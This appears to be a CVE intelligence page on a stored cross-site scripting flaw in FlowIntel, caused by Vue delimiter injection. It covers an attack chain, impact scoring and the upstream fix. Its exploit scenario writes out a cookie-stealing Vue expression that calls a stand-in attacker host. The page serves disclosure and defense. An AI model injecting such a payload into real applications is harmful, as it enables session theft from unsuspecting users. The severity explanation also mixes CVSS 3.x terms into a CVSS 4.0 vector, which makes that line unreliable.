Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate with low-privilege FlowIntel account
-
DeliveryInject Vue expression via [[ ]] delimiters into editable field
-
ExploitJinja2 escaping passes delimiter through unmodified
-
InstallVictim navigates to page rendering poisoned field
-
C2Vue compile phase evaluates injected expression
-
ExecuteExecute arbitrary JavaScript under FlowIntel origin
-
ImpactExfiltrate session tokens or perform actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold a valid FlowIntel account with write access to at least one of the explicitly affected fields: case titles, ticket identifiers, recurring-case type or schedule information, user profile attributes (first name, last name, nickname, email, or Matrix ID), organisation names, or role names. A victim must subsequently load a page that renders the poisoned field - specifically any of the case view, case report, recurring-case, account profile, or navigation templates confirmed in the commit diff. Limiting factors: authentication is mandatory (PR:L per CVSS 4.0); a field-level write permission is required; active victim page load is required (UI:A); the vulnerability is absent from default-deny configurations where editing shared fields is restricted. There is no remote unauthenticated exploitation path. |
| Impact | The CVSS 4.0 score of 6.9 with vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N accurately captures the threat model: network-accessible, low-complexity, requiring only low-privilege authentication and a single victim page visit. The VC:H metric reflects that session tokens, cookies, and all data visible to the victim are fully accessible to the injected JavaScript. Practical severity is elevated in multi-tenant or team deployments where case data is shared widely, as a single poisoned field can chain-victimize every reviewer. The UI:A (active user interaction) requirement is a meaningful dampener - passive background requests alone will not trigger the payload; a real page load is needed. No EPSS score was provided in the input data, and the vulnerability is absent from CISA KEV, indicating it has not been confirmed as actively exploited at scale. No public POC has been identified. Real-world priority is moderate-to-high for organisations running FlowIntel in collaborative environments, but organizations with a small or single-user deployment face limited cross-user exposure. |
| Exploit ScenarioDerived | An authenticated FlowIntel user with permission to edit case titles sets a case title to a string containing a Vue expression, such as [[ fetch('https://attacker.example/steal?c='+document.cookie) ]]. Jinja2 HTML-escapes the surrounding text but passes the [[ ... ]] construct through untouched; when any colleague opens the case view, report, or recurring-case page, Vue's client-side compiler evaluates the expression and silently exfiltrates the victim's session cookie to the attacker-controlled endpoint. No public POC has been confirmed, but the attack surface is straightforward for anyone with knowledge of Vue's compilation model and FlowIntel's delimiter configuration. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 03, 2026
Stored XSS via Vue template injection in FlowIntel allows an authenticated low-privilege user to persist malicious Vue interpolation expressions across multiple data fields, causing arbitrary JavaScript execution in the browsers of any user who views the poisoned content. The root cause is that Jinja2's standard HTML escaping neutralizes raw HTML tags but does not prevent FlowIntel's custom [[ ... ]] Vue delimiters from being evaluated when the server-rendered output is later compiled by Vue on the client side. Successful exploitation can expose session tokens, sensitive case data, and any information visible to the victim, or perform privileged actions within the victim's authenticated session. No public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
The upstream fix is available as GitHub commit b0e99aa6d2708730bc422ebb6dc0c14d732889fa (https://github.com/flowintel/flowintel/commit/b0e99aa6d2708730bc422ebb6dc0c14d732889fa); update to any FlowIntel build that includes this commit. The patch registers a vue_escape Jinja2 filter that applies markupsafe.escape to HTML-encode special characters and then replaces [[ with [<!----[ and ]] with ]<!---->] to break Vue delimiter recognition using inert HTML comment nodes - this dual-layer approach ensures neither HTML-injection nor Vue-injection is possible from server-rendered field values. A released tagged version containing this fix was not independently confirmed in available references; administrators should verify that their deployed instance includes the patch commit rather than relying solely on a version number. As an interim compensating control prior to patching, restrict write access to the affected fields (case titles, ticket identifiers, recurring-case settings, profile attributes, organisation names, role names) to the minimum required set of trusted users; this reduces the attacker pool but does not eliminate risk for deployments where multiple users legitimately edit shared fields.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FlowIntel is a Flask/Jinja2 server-rendered application that additionally loads Vue.js on the client side, configuring [[ ... ]] as its interpolation delimiters to avoid collision with Jinja2's default {{ }}. The architectural mismatch creates a server-side template injection bypass: Jinja2's escaping pipeline converts angle brackets and quotes into HTML entities, preventing classic HTML-injection payloads, but it does not treat [[ or ]] as sensitive characters, so Vue expressions embedded in those delimiters pass through the escaping layer intact and are evaluated by Vue at DOM-compile time. CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely describes this class: untrusted data reaches a rendering context - here the Vue compile phase - without context-appropriate sanitization. Affected fields confirmed by the commit diff include case titles, ticket identifiers, recurring-case types, user profile attributes (first name, last name, nickname, email, Matrix ID), organisation names, and role names. The CPE cpe:2.3:a:flowintel:flowintel:*:*:*:*:*:*:*:* indicates all tracked versions are affected with no floor or ceiling version specified by NVD.
Know when Flowintel gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N
Network-delivered stored XSS requires low-privilege write access (PR:L), victim page load (UI:R), scope change into victim browser (S:C), high confidentiality from session theft, low integrity from limited victim-context actions.
Primary rating from Vendor (CIRCL).
CVSS VectorVendor: CIRCL
DescriptionCVE.org
FlowIntel is affected by a stored cross-site scripting vulnerability through multiple user-controlled or administrator-controlled fields.
Persisted values-including case titles, ticket identifiers, recurring-case information, user profile attributes, organisation names, and role names-were rendered inside DOM elements subsequently compiled by Vue. Although normal HTML escaping could neutralize direct HTML markup, it did not prevent an attacker from injecting Vue interpolation expressions using the configured [[ ... ]] delimiters.
An authenticated attacker able to modify one of the affected fields could store a malicious Vue expression. When another user viewed an affected case, report, profile, recurring-case page, or navigation component, Vue could evaluate the injected expression in the context of the FlowIntel application.
Successful exploitation could allow arbitrary JavaScript execution in the victim’s browser under the FlowIntel origin. This could expose information available to the victim, perform actions using the victim’s authenticated session, or modify application data within the victim’s privileges.
The patch introduces a dedicated vue_escape filter that escapes HTML-sensitive characters and breaks Vue interpolation delimiters before the values are rendered. The filter is applied to the affected case, account, organisation, role, configuration, and navigation fields.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Persistent session hijacking is possible in Flowintel version 3.3.0 and later because the application fails to invalidat
Remote code execution in Flowintel's alerts settings update endpoint (versions >= 3.3.0) allows an authenticated high-pr
Privilege escalation in Flowintel's administrative user-edit API allows an organization administrator to modify full adm
Remote code execution via log path traversal in Flowintel 3.3.0 and later is achievable by an authenticated administrato
Broken object-level authorization across Flowintel task endpoints allows authenticated editor-level users to perform una
Flowintel's PDF export pipeline passes attacker-controlled note content to Pandoc with the raw_tex extension enabled, al
Log injection in Flowintel versions 3.3.0 and later allows unauthenticated remote attackers to forge arbitrary log lines
Server-side request forgery in FlowIntel up to version 3.3.0 allows a low-privileged authenticated user to coerce the ap
Insufficient authorization on the Flowintel /my_assignment/user API endpoint allows any authenticated API user to retrie
Stored cross-site scripting in Flowintel case notes allows an authenticated low-privileged user to inject malicious Java
Stored cross-site scripting in Flowintel's calendar view (versions >= 3.3.0) allows an authenticated user with case-crea
Stored cross-site scripting in Flowintel's MISP timeline renderer allows an authenticated low-privileged attacker to inj
EUVD-2026-52253
GHSA-hc5p-7rj2-94g3
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB